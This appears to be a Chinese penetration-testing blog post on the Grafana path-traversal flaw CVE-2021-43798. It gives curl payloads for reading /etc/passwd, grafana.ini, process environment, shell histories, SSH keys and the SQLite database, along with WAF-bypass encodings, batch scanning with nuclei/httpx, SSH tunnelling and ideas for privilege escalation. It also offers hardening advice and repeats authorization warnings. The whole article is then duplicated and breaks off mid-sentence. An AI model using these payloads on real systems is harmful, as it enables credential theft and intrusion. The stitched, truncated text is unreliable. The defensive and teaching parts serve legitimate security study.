1. 项目概述一次从信息泄露到权限提升的完整攻防演练最近在整理内部资产安全评估报告时我重新复盘了去年处理过的一个典型漏洞案例——Grafana的目录遍历漏洞CVE-2021-43798。这个漏洞本身并不复杂就是一个经典的路径穿越但它在实战中的价值远超一个简单的信息泄露。很多安全团队在扫描器报出这个漏洞后可能只是简单地验证一下“能读到/etc/passwd”然后提交一个低危或中危报告就结束了。但实际上这个漏洞的链条可以拉得很长从最初的敏感信息窥探到中间件的配置获取再到最终的权限提升是一条非常清晰的攻击路径。今天我就结合当时的实战记录把这个漏洞的完整利用链条、背后的原理、以及防御思路拆解清楚希望能给负责资产安全、渗透测试和红队演练的同行们提供一个深度的参考模板。简单来说CVE-2021-43798是一个影响Grafana 8.0.0-beta1到8.3.0版本不含8.3.0的目录遍历漏洞。攻击者可以通过构造特定的HTTP请求绕过Grafana对静态资源路径的校验读取服务器上的任意文件。这个漏洞的CVSS评分是7.5属于高危。但它的真正危险之处在于Grafana通常作为监控系统的门户部署在内网核心区域且往往以较高权限如root或管理员用户运行。一旦能读取关键配置文件获取数据库密码、密钥或其它中间件的访问凭证攻击面就会急剧扩大。接下来我会从漏洞原理、环境搭建、漏洞复现、信息深度利用、权限提升尝试以及最终的加固建议这几个方面完整地走一遍这个“探索之路”。2. 漏洞原理与影响范围深度解析2.1 漏洞触发的技术根源要理解这个漏洞首先得知道Grafana是怎么处理插件资源的。Grafana有一个强大的插件生态系统比如数据源插件Prometheus, MySQL、面板插件等等。这些插件安装后其前端静态资源如JavaScript、CSS、图片会存放在一个特定的目录下例如/var/lib/grafana/plugins。当用户访问一个插件的前端页面时Grafana会根据请求的URL路径去对应的插件目录下查找并返回文件。漏洞出现在处理这些插件静态文件请求的代码逻辑中。在受影响的版本中负责此功能的代码位于pkg/api/plugins.go或相关路由处理中对用户请求的pluginId和文件路径参数*通常对应/public/plugins/{pluginId}/{filepath}这样的路由进行了拼接但在拼接前没有对filepath参数进行充分的规范化canonicalization和路径穿越检查。攻击者可以构造这样的请求GET /public/plugins/grafana-image-renderer/../../../../../../etc/passwd。这里grafana-image-renderer是一个合法的插件ID几乎所有默认安装的Grafana都有而../../../../../../etc/passwd就是我们要穿越的路径。代码在拼接时可能会直接进行字符串拼接basePluginPath “/” requestedFilePath。由于没有解析..并回溯到上一级目录这个拼接后的路径就可能跳出插件目录指向文件系统的其他位置。注意这里grafana-image-renderer只是一个例子。实际上任何已安装插件的ID都可以被利用。在实战中我们通常会先枚举目标Grafana实例安装了哪些插件再选择其中一个作为“跳板”。2.2 受影响版本与资产识别官方明确受影响的版本范围是8.0.0-beta1 Grafana版本 8.3.0。8.3.0及之后的版本修复了此漏洞。这意味着在2021年底到2022年初大量在线Grafana实例都暴露在此风险之下。在实战中识别目标是否使用Grafana以及其版本号是第一步。除了使用常见的Web指纹识别工具如Wappalyzer、WhatWeb外有以下几个手动技巧访问默认路径与登录页直接访问http://target:30003000是Grafana默认端口。登录页或未登录时的页面底部有时会包含版本信息。利用API接口Grafana提供了丰富的HTTP API。访问http://target:3000/api/health通常会返回一个JSON其中包含version字段。这个接口通常不需要认证。查看静态资源查看页面中引用的JavaScript或CSS文件路径有时版本号会编码在文件名或路径里。一旦确认版本在受影响范围内就可以进行漏洞验证了。这里需要强调所有安全测试必须在获得明确授权的环境中进行针对未授权的系统进行测试是违法行为。2.3 漏洞的潜在危害评估为什么一个目录遍历能评到7.5分我们来看看它能读到什么Grafana自身配置文件最重要的是/etc/grafana/grafana.ini。这个文件包含了Grafana的全部配置特别是[database]段里面明文存储着Grafana元数据库默认是SQLite也可能是MySQL或PostgreSQL的连接密码。拿到这个密码就意味着可以完全控制Grafana的后台数据包括用户信息、仪表盘配置等。系统敏感文件经典的/etc/passwd和/etc/shadow需要root权限运行Grafana才能读。可以用于用户枚举和潜在的密码破解。Secrets与密钥如/proc/self/environ进程环境变量可能泄露密钥、/home/*/.bash_history历史命令、/home/*/.ssh/id_rsaSSH私钥、Docker相关的/run/secrets/*等。应用配置文件Grafana常与Prometheus、Loki、Elasticsearch等配套使用。通过读取这些组件的配置文件如Prometheus的prometheus.yml可能获得访问这些内部服务的凭证进一步横向移动。云环境元数据如果Grafana部署在云服务器如AWS EC2、阿里云ECS上可以尝试读取云元数据接口例如http://169.254.169.254/latest/meta-data/。虽然不能直接通过文件读取访问但有时能通过其他文件间接发现云环境信息。3. 实战环境搭建与漏洞复现3.1 快速搭建靶场环境为了不影响生产环境我们强烈建议在隔离的虚拟机或容器内进行复现。使用Docker是最快的方式。# 拉取一个存在漏洞的Grafana镜像例如8.2.0版本 docker pull grafana/grafana:8.2.0 # 运行容器将默认的3000端口映射到宿主机的3000端口 docker run -d --name grafana-vuln -p 3000:3000 grafana/grafana:8.2.0 # 查看容器日志确认启动成功 docker logs -f grafana-vuln等待几十秒访问http://localhost:3000你应该能看到Grafana的登录界面。默认用户名和密码是admin/admin首次登录会要求修改密码。3.2 手动验证漏洞存在性我们使用最直接的HTTP请求工具curl来验证。首先我们需要知道一个已安装的插件ID。除了前面提到的grafana-image-renderergrafana-piechart-panel也是一个常见的内置插件。验证读取/etc/passwdcurl --path-as-is http://localhost:3000/public/plugins/grafana-piechart-panel/../../../../../../etc/passwd如果返回了/etc/passwd文件的内容说明漏洞存在。--path-as-is参数是关键它告诉curl不要自动标准化URL中的..否则curl会先处理掉路径穿越符号导致请求失效。验证读取Grafana配置文件curl --path-as-is http://localhost:3000/public/plugins/grafana-piechart-panel/../../../../../../etc/grafana/grafana.ini如果成功你会看到一堆配置信息。立刻搜索[database]部分找到password字段。3.3 使用自动化工具进行初步探测手动测试没问题后我们可以用一些开源工具来批量探测和利用。例如nuclei模板引擎就有针对此漏洞的检测模板。# 安装nuclei如果尚未安装 # go install -v github.com/projectdiscovery/nuclei/v2/cmd/nucleilatest # 使用nuclei进行检测 nuclei -u http://target:3000 -t cves/2021/CVE-2021-43798.yaml这个模板会自动尝试读取/etc/passwd和/etc/hosts来确认漏洞。在授权测试中使用自动化工具可以快速扫描大量资产。但我个人的习惯是在关键资产上即使工具报出来了也要手动复现一遍并深入挖掘工具没有覆盖的利用点。4. 从信息泄露到横向移动的深度利用4.1 关键配置文件的信息提取读到grafana.ini只是第一步如何从中提取出有价值的信息才是关键。我们需要关注以下几个配置段[database]这是重中之重。type数据库类型sqlite3,mysql,postgres。host,port,name数据库地址和库名。user,password数据库用户名和密码可能是明文。如果type是sqlite3那么path字段会指向SQLite数据库文件的位置如/var/lib/grafana/grafana.db。我们可以直接通过目录遍历漏洞把这个.db文件下载下来用SQLite浏览器打开里面包含了用户表user、数据源配置表data_source等所有核心数据。[security]secret_key用于签名会话Cookie和加密某些数据。如果获取到这个密钥在特定条件下可能伪造会话。[auth.*]如[auth.ldap]、[auth.generic_oauth]等可能包含外部认证系统的配置信息甚至是客户端密钥。[smtp]邮件服务器配置可能包含邮箱密码。实操心得配置文件可能很大直接用curl看不太方便。我通常会重定向到文件然后用grep进行关键字段过滤。curl --path-as-is http://target:3000/public/plugins/grafana-piechart-panel/../../../../../../etc/grafana/grafana.ini -o grafana.ini grep -A5 -B2 \[database\] grafana.ini grep -A5 -B2 secret_key grafana.ini4.2 寻找数据库凭证与连接假设我们从配置文件中拿到了MySQL的密码password SuperSecretDBPassword123数据库地址是127.0.0.1:3306库名是grafana。虽然Grafana服务本身可能只监听3000端口但数据库3306端口很可能只在本地监听。此时如果我们还没有获得服务器shell这个密码似乎用不上。但别急我们可以尝试检查Grafana数据源配置Grafana除了自己的元数据库还会配置很多数据源Data Source如Prometheus、MySQL、PostgreSQL、Elasticsearch等。这些数据源的连接配置包括密码默认是加密后存储在元数据库里的。加密密钥就是上面提到的secret_key。如果我们同时拿到了加密后的密码和secret_key理论上可以解密。但这个过程相对复杂。利用SSH隧道进行内网穿透在获得一定权限后如果我们通过其他漏洞或者这个漏洞读到了SSH私钥获得了一个跳板机的访问权限并且该跳板机能访问目标Grafana服务器我们可以建立SSH隧道将目标的3306端口映射到本地然后用得到的密码连接。# 在跳板机上执行将远程的3306映射到本地的13306 ssh -L 13306:127.0.0.1:3306 usergrafana-server -N然后在本机用mysql -h 127.0.0.1 -P 13306 -u grafana -p连接输入密码即可。进入数据库后可以查看data_source表里面可能有其他系统的明文或加密密码。4.3 挖掘进程环境变量与历史记录Linux系统的/proc文件系统是个宝库。每个进程都有一个/proc/[pid]的目录其中/proc/[pid]/environ文件包含了该进程启动时的所有环境变量。Grafana进程的环境变量中可能包含数据库连接字符串如GF_DATABASE_PASSWORD。第三方服务的API密钥。云服务商的访问密钥。要读取它我们需要知道Grafana进程的PID。通常Grafana如果以服务形式运行其主进程PID可能是1在容器内或者一个固定的数字。我们可以尝试读取/proc/self/environ这个符号链接指向当前进程自身。但通过Web漏洞访问时“当前进程”是处理我们请求的那个Worker进程可能是Grafana的也可能是反向代理如Nginx的不一定是我们想要的。不过仍然值得一试。curl --path-as-is http://target:3000/public/plugins/grafana-piechart-panel/../../../../../../proc/self/environ | tr \0 \ntr ‘\0’ ‘\n’命令用于将环境变量中的空字符替换为换行方便阅读。此外尝试读取用户的历史命令文件也很有价值curl --path-as-is http://target:3000/public/plugins/grafana-piechart-panel/../../../../../../home/grafana/.bash_history curl --path-as-is http://target:3000/public/plugins/grafana-piechart-panel/../../../../../../root/.bash_history历史命令里可能包含直接带密码的命令、内部服务的访问方式、甚至是一些临时提权操作。5. 权限提升的尝试与思路通过目录遍历拿到敏感信息后我们的目标是从一个“文件读取”的能力升级为在系统上执行命令RCE或获得更高权限的shell。这通常需要结合其他条件或漏洞。5.1 场景一获取数据库控制权后的提权如果我们成功连接上了Grafana的元数据库特别是SQLite并且Grafana版本较旧我们可以尝试修改用户数据来提升权限。步骤下载数据库文件假设数据库路径是/var/lib/grafana/grafana.db。curl --path-as-is http://target:3000/public/plugins/grafana-piechart-panel/../../../../../../var/lib/grafana/grafana.db -o grafana.db分析数据库结构使用sqlite3命令行工具或图形化工具打开。sqlite3 grafana.db .tables # 查看所有表 PRAGMA table_info(user); # 查看user表结构 SELECT * FROM user; # 查看用户数据重点关注user表的login、email、password、salt、rands字段。Grafana的密码是经过加盐哈希的格式是salt:sha256_hex(salt password)。直接修改哈希值很困难。尝试添加管理员用户旧版本可能有效在一些非常旧的版本或特定配置下可能存在逻辑漏洞。但更实际的方法是修改一个现有低权限用户的密码哈希为我们已知的。这需要我们知道目标Grafana的secret_key因为密码哈希计算可能用到它。或者如果我们能在本地搭建一个相同版本的Grafana创建一个已知密码的用户然后将这个用户的salt和password哈希值复制到目标数据库的对应记录中。这种方法成功率不高且对版本和配置有严格要求仅作为思路探讨。5.2 场景二利用泄露的密钥或凭证SSH私钥如果幸运地读到了/home/*/.ssh/id_rsa文件并且对应账户允许SSH密钥登录那么直接就可以获得一个shell。chmod 600 id_rsa ssh -i id_rsa usertarget-ip云元数据服务凭证如果从环境变量或配置文件中发现了云服务的访问密钥如AWS的AWS_ACCESS_KEY_ID和AWS_SECRET_ACCESS_KEY可以使用对应的CLI工具如aws cli或SDK来操作云资源可能能够创建新的具有SSH权限的实例或者直接执行命令如AWS SSM Run Command。CI/CD或运维工具凭证例如读取到Jenkins的API token、Ansible的vault密码、Kubernetes的kubeconfig文件等。这些都可能通向更广阔的权限空间。5.3 场景三结合其他漏洞或错误配置单纯的CVE-2021-43798很难直接导致RCE。但在实战中它常常是“敲门砖”为我们提供下一步攻击所需的信息。例如发现Web应用源码通过遍历读取到了其他Web应用的配置文件或源码如/var/www/html/config.php里面可能包含数据库密码从而攻破那个应用。发现内部服务接口从Prometheus配置中发现了内网监控目标的地址而这些目标可能存在未授权访问或已知漏洞。发现文件上传点通过读取日志或配置文件发现Grafana服务器上还运行着其他有文件上传功能的服务结合获取的路径信息可能实现Webshell上传。一个重要的注意事项在利用读取到的信息进行下一步攻击时务必注意法律和授权边界。你读取到的密码可能不仅用于目标系统还可能用于同一管理员管理的其他系统。在渗透测试授权书中必须明确测试范围是否包含这些关联系统。6. 漏洞修复与安全加固指南对于防御方来说仅仅升级Grafana是远远不够的。需要建立纵深防御体系。6.1 紧急修复措施立即升级将Grafana升级到8.3.0或更高版本。这是最根本的解决方案。官方修复方案是对请求的文件路径进行了严格的净化处理确保其被限制在插件目录内。临时缓解如果无法立即升级可以通过反向代理如Nginx、Apache添加规则来拦截恶意请求。Nginx配置示例location ~ ^/public/plugins/([^/])/(.*) { # 检查请求路径中是否包含目录遍历序列 if ($request_uri ~* \.\./) { return 403; } # 原有的代理配置 proxy_pass http://grafana-backend; }注意这种基于字符串匹配的过滤可能存在被绕过的风险如URL编码、双重编码等只能作为临时措施。网络隔离严格限制Grafana实例的访问来源仅允许运维人员或监控系统所在的IP段访问其管理界面3000端口。6.2 长期安全加固建议最小权限原则运行绝对不要以root用户运行Grafana。创建一个专用的、低权限的系统用户如grafana来运行Grafana服务。在Docker中也应使用USER指令指定非root用户。这可以极大限制漏洞发生时能读取的文件范围例如无法读取/etc/shadow。配置文件安全将grafana.ini中数据库密码等敏感信息替换为使用环境变量引用。例如在配置文件中写password ${GF_DATABASE_PASSWORD}然后在启动时传入环境变量。定期审计配置文件确保没有明文硬编码的密码。数据源密码加密确保Grafana的secret_key是强随机值并且妥善保管。这样即使数据库被拖库数据源的密码也是加密的。定期安全更新订阅Grafana的安全公告建立软件资产清单和漏洞响应流程确保所有实例能及时打上补丁。入侵检测与日志审计启用Grafana的详细日志并集中收集分析。关注/public/plugins/路径下包含..的异常访问日志。可以使用WAF或IDS规则来检测和阻断目录遍历攻击。纵深防御将Grafana部署在内网通过堡垒机或VPN访问。对Grafana服务器进行文件系统加固使用AppArmor或SELinux限制其进程的文件访问能力。考虑使用容器安全方案限制容器的能力集如--cap-dropALL和文件系统挂载只读挂载。7. 排查技巧与常见问题实录在复现和利用这个漏洞的过程中我踩过一些坑也总结了一些排查技巧。问题1使用curl测试返回404或403但漏洞确实存在可能原因1插件ID不对。目标可能没有安装你使用的插件。解决方法先访问目标Grafana的/api/plugins接口可能需认证或者尝试一些更常见的插件ID如alertlist、annolist、barchart、gauge、geomap、gettingstarted、grafana-azure-monitor-datasource、heatmap、histogram、logs、news、nodeGraph、piechart、stat、table、table-old、tempo、text、timeseries、welcome。也可以从页面源码中搜索public/plugins/来寻找。可能原因2路径深度不够。../../../../../../可能不足以跳转到根目录。可以尝试增加穿越层级如../../../../../../../。可能原因3WAF或反向代理拦截。一些云WAF或自建的Nginx规则可能会过滤包含..的请求。尝试对..进行URL编码%2e%2e%2f或..%2f或双重编码%252e%252e%252f进行绕过。可能原因4文件不存在或权限不足。即使路径穿越成功目标文件也可能不存在或者Grafana进程用户没有读取权限。问题2读到的配置文件是空的或乱码可能原因文件可能是二进制格式或者curl输出到了终端导致显示问题。使用-o参数保存到文件再用file命令和文本编辑器查看。问题3如何批量检测一批Grafana资产推荐工具nucleihttpx。首先用httpx快速识别开放3000端口且标题包含Grafana的资产然后用nuclei的CVE模板进行检测。可以编写一个简单的Shell脚本进行联动。# 假设有一个目标文件 targets.txt httpx -l targets.txt -p 3000 -title -silent | grep -i grafana | awk {print $1} grafana_targets.txt nuclei -l grafana_targets.txt -t cves/2021/CVE-2021-43798.yaml -o results.txt问题4在Docker环境里为什么读不到/etc/shadow原因默认的grafana/grafana镜像就是以非root用户UID 472用户名为grafana运行的。这是Grafana官方镜像的安全最佳实践有效限制了漏洞的影响范围。这反过来也提醒我们在生产环境中以非root权限运行服务是多么重要。一个高级技巧利用漏洞读取Grafana的SQLite数据库文件后除了查看密码还可以关注data_source表。虽然密码字段是加密的但json_data字段可能以JSON格式存储了一些配置其中偶尔会包含明文的访问令牌或密码这取决于数据源类型和配置方式。务必仔细检查。回顾整个从漏洞验证到深度利用的过程CVE-2021-43798给我的最大启示是一个看似中高风险的漏洞在特定的环境上下文和攻击者持之以恒的挖掘下其危害边界可以变得非常模糊。它不再仅仅是一个“信息泄露”而是成为了打开内网大门的一把钥匙。对于防御者而言修补漏洞只是第一步更重要的是通过最小权限、网络隔离、日志监控和定期审计构建起让攻击者即使拿到一块“碎片”也无法拼出完整“地图”的防御体系。在实战中我养成了一个习惯每当验证一个信息泄露漏洞时总会多问自己一句“除了报告里写的那个文件我还能读到什么读到的这些东西又能带我去哪里” 这种思维方式的转变往往才是安全能力提升的关键。
Grafana目录遍历漏洞CVE-2021-43798:从信息泄露到权限提升的完整攻防解析
1. 项目概述一次从信息泄露到权限提升的完整攻防演练最近在整理内部资产安全评估报告时我重新复盘了去年处理过的一个典型漏洞案例——Grafana的目录遍历漏洞CVE-2021-43798。这个漏洞本身并不复杂就是一个经典的路径穿越但它在实战中的价值远超一个简单的信息泄露。很多安全团队在扫描器报出这个漏洞后可能只是简单地验证一下“能读到/etc/passwd”然后提交一个低危或中危报告就结束了。但实际上这个漏洞的链条可以拉得很长从最初的敏感信息窥探到中间件的配置获取再到最终的权限提升是一条非常清晰的攻击路径。今天我就结合当时的实战记录把这个漏洞的完整利用链条、背后的原理、以及防御思路拆解清楚希望能给负责资产安全、渗透测试和红队演练的同行们提供一个深度的参考模板。简单来说CVE-2021-43798是一个影响Grafana 8.0.0-beta1到8.3.0版本不含8.3.0的目录遍历漏洞。攻击者可以通过构造特定的HTTP请求绕过Grafana对静态资源路径的校验读取服务器上的任意文件。这个漏洞的CVSS评分是7.5属于高危。但它的真正危险之处在于Grafana通常作为监控系统的门户部署在内网核心区域且往往以较高权限如root或管理员用户运行。一旦能读取关键配置文件获取数据库密码、密钥或其它中间件的访问凭证攻击面就会急剧扩大。接下来我会从漏洞原理、环境搭建、漏洞复现、信息深度利用、权限提升尝试以及最终的加固建议这几个方面完整地走一遍这个“探索之路”。2. 漏洞原理与影响范围深度解析2.1 漏洞触发的技术根源要理解这个漏洞首先得知道Grafana是怎么处理插件资源的。Grafana有一个强大的插件生态系统比如数据源插件Prometheus, MySQL、面板插件等等。这些插件安装后其前端静态资源如JavaScript、CSS、图片会存放在一个特定的目录下例如/var/lib/grafana/plugins。当用户访问一个插件的前端页面时Grafana会根据请求的URL路径去对应的插件目录下查找并返回文件。漏洞出现在处理这些插件静态文件请求的代码逻辑中。在受影响的版本中负责此功能的代码位于pkg/api/plugins.go或相关路由处理中对用户请求的pluginId和文件路径参数*通常对应/public/plugins/{pluginId}/{filepath}这样的路由进行了拼接但在拼接前没有对filepath参数进行充分的规范化canonicalization和路径穿越检查。攻击者可以构造这样的请求GET /public/plugins/grafana-image-renderer/../../../../../../etc/passwd。这里grafana-image-renderer是一个合法的插件ID几乎所有默认安装的Grafana都有而../../../../../../etc/passwd就是我们要穿越的路径。代码在拼接时可能会直接进行字符串拼接basePluginPath “/” requestedFilePath。由于没有解析..并回溯到上一级目录这个拼接后的路径就可能跳出插件目录指向文件系统的其他位置。注意这里grafana-image-renderer只是一个例子。实际上任何已安装插件的ID都可以被利用。在实战中我们通常会先枚举目标Grafana实例安装了哪些插件再选择其中一个作为“跳板”。2.2 受影响版本与资产识别官方明确受影响的版本范围是8.0.0-beta1 Grafana版本 8.3.0。8.3.0及之后的版本修复了此漏洞。这意味着在2021年底到2022年初大量在线Grafana实例都暴露在此风险之下。在实战中识别目标是否使用Grafana以及其版本号是第一步。除了使用常见的Web指纹识别工具如Wappalyzer、WhatWeb外有以下几个手动技巧访问默认路径与登录页直接访问http://target:30003000是Grafana默认端口。登录页或未登录时的页面底部有时会包含版本信息。利用API接口Grafana提供了丰富的HTTP API。访问http://target:3000/api/health通常会返回一个JSON其中包含version字段。这个接口通常不需要认证。查看静态资源查看页面中引用的JavaScript或CSS文件路径有时版本号会编码在文件名或路径里。一旦确认版本在受影响范围内就可以进行漏洞验证了。这里需要强调所有安全测试必须在获得明确授权的环境中进行针对未授权的系统进行测试是违法行为。2.3 漏洞的潜在危害评估为什么一个目录遍历能评到7.5分我们来看看它能读到什么Grafana自身配置文件最重要的是/etc/grafana/grafana.ini。这个文件包含了Grafana的全部配置特别是[database]段里面明文存储着Grafana元数据库默认是SQLite也可能是MySQL或PostgreSQL的连接密码。拿到这个密码就意味着可以完全控制Grafana的后台数据包括用户信息、仪表盘配置等。系统敏感文件经典的/etc/passwd和/etc/shadow需要root权限运行Grafana才能读。可以用于用户枚举和潜在的密码破解。Secrets与密钥如/proc/self/environ进程环境变量可能泄露密钥、/home/*/.bash_history历史命令、/home/*/.ssh/id_rsaSSH私钥、Docker相关的/run/secrets/*等。应用配置文件Grafana常与Prometheus、Loki、Elasticsearch等配套使用。通过读取这些组件的配置文件如Prometheus的prometheus.yml可能获得访问这些内部服务的凭证进一步横向移动。云环境元数据如果Grafana部署在云服务器如AWS EC2、阿里云ECS上可以尝试读取云元数据接口例如http://169.254.169.254/latest/meta-data/。虽然不能直接通过文件读取访问但有时能通过其他文件间接发现云环境信息。3. 实战环境搭建与漏洞复现3.1 快速搭建靶场环境为了不影响生产环境我们强烈建议在隔离的虚拟机或容器内进行复现。使用Docker是最快的方式。# 拉取一个存在漏洞的Grafana镜像例如8.2.0版本 docker pull grafana/grafana:8.2.0 # 运行容器将默认的3000端口映射到宿主机的3000端口 docker run -d --name grafana-vuln -p 3000:3000 grafana/grafana:8.2.0 # 查看容器日志确认启动成功 docker logs -f grafana-vuln等待几十秒访问http://localhost:3000你应该能看到Grafana的登录界面。默认用户名和密码是admin/admin首次登录会要求修改密码。3.2 手动验证漏洞存在性我们使用最直接的HTTP请求工具curl来验证。首先我们需要知道一个已安装的插件ID。除了前面提到的grafana-image-renderergrafana-piechart-panel也是一个常见的内置插件。验证读取/etc/passwdcurl --path-as-is http://localhost:3000/public/plugins/grafana-piechart-panel/../../../../../../etc/passwd如果返回了/etc/passwd文件的内容说明漏洞存在。--path-as-is参数是关键它告诉curl不要自动标准化URL中的..否则curl会先处理掉路径穿越符号导致请求失效。验证读取Grafana配置文件curl --path-as-is http://localhost:3000/public/plugins/grafana-piechart-panel/../../../../../../etc/grafana/grafana.ini如果成功你会看到一堆配置信息。立刻搜索[database]部分找到password字段。3.3 使用自动化工具进行初步探测手动测试没问题后我们可以用一些开源工具来批量探测和利用。例如nuclei模板引擎就有针对此漏洞的检测模板。# 安装nuclei如果尚未安装 # go install -v github.com/projectdiscovery/nuclei/v2/cmd/nucleilatest # 使用nuclei进行检测 nuclei -u http://target:3000 -t cves/2021/CVE-2021-43798.yaml这个模板会自动尝试读取/etc/passwd和/etc/hosts来确认漏洞。在授权测试中使用自动化工具可以快速扫描大量资产。但我个人的习惯是在关键资产上即使工具报出来了也要手动复现一遍并深入挖掘工具没有覆盖的利用点。4. 从信息泄露到横向移动的深度利用4.1 关键配置文件的信息提取读到grafana.ini只是第一步如何从中提取出有价值的信息才是关键。我们需要关注以下几个配置段[database]这是重中之重。type数据库类型sqlite3,mysql,postgres。host,port,name数据库地址和库名。user,password数据库用户名和密码可能是明文。如果type是sqlite3那么path字段会指向SQLite数据库文件的位置如/var/lib/grafana/grafana.db。我们可以直接通过目录遍历漏洞把这个.db文件下载下来用SQLite浏览器打开里面包含了用户表user、数据源配置表data_source等所有核心数据。[security]secret_key用于签名会话Cookie和加密某些数据。如果获取到这个密钥在特定条件下可能伪造会话。[auth.*]如[auth.ldap]、[auth.generic_oauth]等可能包含外部认证系统的配置信息甚至是客户端密钥。[smtp]邮件服务器配置可能包含邮箱密码。实操心得配置文件可能很大直接用curl看不太方便。我通常会重定向到文件然后用grep进行关键字段过滤。curl --path-as-is http://target:3000/public/plugins/grafana-piechart-panel/../../../../../../etc/grafana/grafana.ini -o grafana.ini grep -A5 -B2 \[database\] grafana.ini grep -A5 -B2 secret_key grafana.ini4.2 寻找数据库凭证与连接假设我们从配置文件中拿到了MySQL的密码password SuperSecretDBPassword123数据库地址是127.0.0.1:3306库名是grafana。虽然Grafana服务本身可能只监听3000端口但数据库3306端口很可能只在本地监听。此时如果我们还没有获得服务器shell这个密码似乎用不上。但别急我们可以尝试检查Grafana数据源配置Grafana除了自己的元数据库还会配置很多数据源Data Source如Prometheus、MySQL、PostgreSQL、Elasticsearch等。这些数据源的连接配置包括密码默认是加密后存储在元数据库里的。加密密钥就是上面提到的secret_key。如果我们同时拿到了加密后的密码和secret_key理论上可以解密。但这个过程相对复杂。利用SSH隧道进行内网穿透在获得一定权限后如果我们通过其他漏洞或者这个漏洞读到了SSH私钥获得了一个跳板机的访问权限并且该跳板机能访问目标Grafana服务器我们可以建立SSH隧道将目标的3306端口映射到本地然后用得到的密码连接。# 在跳板机上执行将远程的3306映射到本地的13306 ssh -L 13306:127.0.0.1:3306 usergrafana-server -N然后在本机用mysql -h 127.0.0.1 -P 13306 -u grafana -p连接输入密码即可。进入数据库后可以查看data_source表里面可能有其他系统的明文或加密密码。4.3 挖掘进程环境变量与历史记录Linux系统的/proc文件系统是个宝库。每个进程都有一个/proc/[pid]的目录其中/proc/[pid]/environ文件包含了该进程启动时的所有环境变量。Grafana进程的环境变量中可能包含数据库连接字符串如GF_DATABASE_PASSWORD。第三方服务的API密钥。云服务商的访问密钥。要读取它我们需要知道Grafana进程的PID。通常Grafana如果以服务形式运行其主进程PID可能是1在容器内或者一个固定的数字。我们可以尝试读取/proc/self/environ这个符号链接指向当前进程自身。但通过Web漏洞访问时“当前进程”是处理我们请求的那个Worker进程可能是Grafana的也可能是反向代理如Nginx的不一定是我们想要的。不过仍然值得一试。curl --path-as-is http://target:3000/public/plugins/grafana-piechart-panel/../../../../../../proc/self/environ | tr \0 \ntr ‘\0’ ‘\n’命令用于将环境变量中的空字符替换为换行方便阅读。此外尝试读取用户的历史命令文件也很有价值curl --path-as-is http://target:3000/public/plugins/grafana-piechart-panel/../../../../../../home/grafana/.bash_history curl --path-as-is http://target:3000/public/plugins/grafana-piechart-panel/../../../../../../root/.bash_history历史命令里可能包含直接带密码的命令、内部服务的访问方式、甚至是一些临时提权操作。5. 权限提升的尝试与思路通过目录遍历拿到敏感信息后我们的目标是从一个“文件读取”的能力升级为在系统上执行命令RCE或获得更高权限的shell。这通常需要结合其他条件或漏洞。5.1 场景一获取数据库控制权后的提权如果我们成功连接上了Grafana的元数据库特别是SQLite并且Grafana版本较旧我们可以尝试修改用户数据来提升权限。步骤下载数据库文件假设数据库路径是/var/lib/grafana/grafana.db。curl --path-as-is http://target:3000/public/plugins/grafana-piechart-panel/../../../../../../var/lib/grafana/grafana.db -o grafana.db分析数据库结构使用sqlite3命令行工具或图形化工具打开。sqlite3 grafana.db .tables # 查看所有表 PRAGMA table_info(user); # 查看user表结构 SELECT * FROM user; # 查看用户数据重点关注user表的login、email、password、salt、rands字段。Grafana的密码是经过加盐哈希的格式是salt:sha256_hex(salt password)。直接修改哈希值很困难。尝试添加管理员用户旧版本可能有效在一些非常旧的版本或特定配置下可能存在逻辑漏洞。但更实际的方法是修改一个现有低权限用户的密码哈希为我们已知的。这需要我们知道目标Grafana的secret_key因为密码哈希计算可能用到它。或者如果我们能在本地搭建一个相同版本的Grafana创建一个已知密码的用户然后将这个用户的salt和password哈希值复制到目标数据库的对应记录中。这种方法成功率不高且对版本和配置有严格要求仅作为思路探讨。5.2 场景二利用泄露的密钥或凭证SSH私钥如果幸运地读到了/home/*/.ssh/id_rsa文件并且对应账户允许SSH密钥登录那么直接就可以获得一个shell。chmod 600 id_rsa ssh -i id_rsa usertarget-ip云元数据服务凭证如果从环境变量或配置文件中发现了云服务的访问密钥如AWS的AWS_ACCESS_KEY_ID和AWS_SECRET_ACCESS_KEY可以使用对应的CLI工具如aws cli或SDK来操作云资源可能能够创建新的具有SSH权限的实例或者直接执行命令如AWS SSM Run Command。CI/CD或运维工具凭证例如读取到Jenkins的API token、Ansible的vault密码、Kubernetes的kubeconfig文件等。这些都可能通向更广阔的权限空间。5.3 场景三结合其他漏洞或错误配置单纯的CVE-2021-43798很难直接导致RCE。但在实战中它常常是“敲门砖”为我们提供下一步攻击所需的信息。例如发现Web应用源码通过遍历读取到了其他Web应用的配置文件或源码如/var/www/html/config.php里面可能包含数据库密码从而攻破那个应用。发现内部服务接口从Prometheus配置中发现了内网监控目标的地址而这些目标可能存在未授权访问或已知漏洞。发现文件上传点通过读取日志或配置文件发现Grafana服务器上还运行着其他有文件上传功能的服务结合获取的路径信息可能实现Webshell上传。一个重要的注意事项在利用读取到的信息进行下一步攻击时务必注意法律和授权边界。你读取到的密码可能不仅用于目标系统还可能用于同一管理员管理的其他系统。在渗透测试授权书中必须明确测试范围是否包含这些关联系统。6. 漏洞修复与安全加固指南对于防御方来说仅仅升级Grafana是远远不够的。需要建立纵深防御体系。6.1 紧急修复措施立即升级将Grafana升级到8.3.0或更高版本。这是最根本的解决方案。官方修复方案是对请求的文件路径进行了严格的净化处理确保其被限制在插件目录内。临时缓解如果无法立即升级可以通过反向代理如Nginx、Apache添加规则来拦截恶意请求。Nginx配置示例location ~ ^/public/plugins/([^/])/(.*) { # 检查请求路径中是否包含目录遍历序列 if ($request_uri ~* \.\./) { return 403; } # 原有的代理配置 proxy_pass http://grafana-backend; }注意这种基于字符串匹配的过滤可能存在被绕过的风险如URL编码、双重编码等只能作为临时措施。网络隔离严格限制Grafana实例的访问来源仅允许运维人员或监控系统所在的IP段访问其管理界面3000端口。6.2 长期安全加固建议最小权限原则运行绝对不要以root用户运行Grafana。创建一个专用的、低权限的系统用户如grafana来运行Grafana服务。在Docker中也应使用USER指令指定非root用户。这可以极大限制漏洞发生时能读取的文件范围例如无法读取/etc/shadow。配置文件安全将grafana.ini中数据库密码等敏感信息替换为使用环境变量引用。例如在配置文件中写password 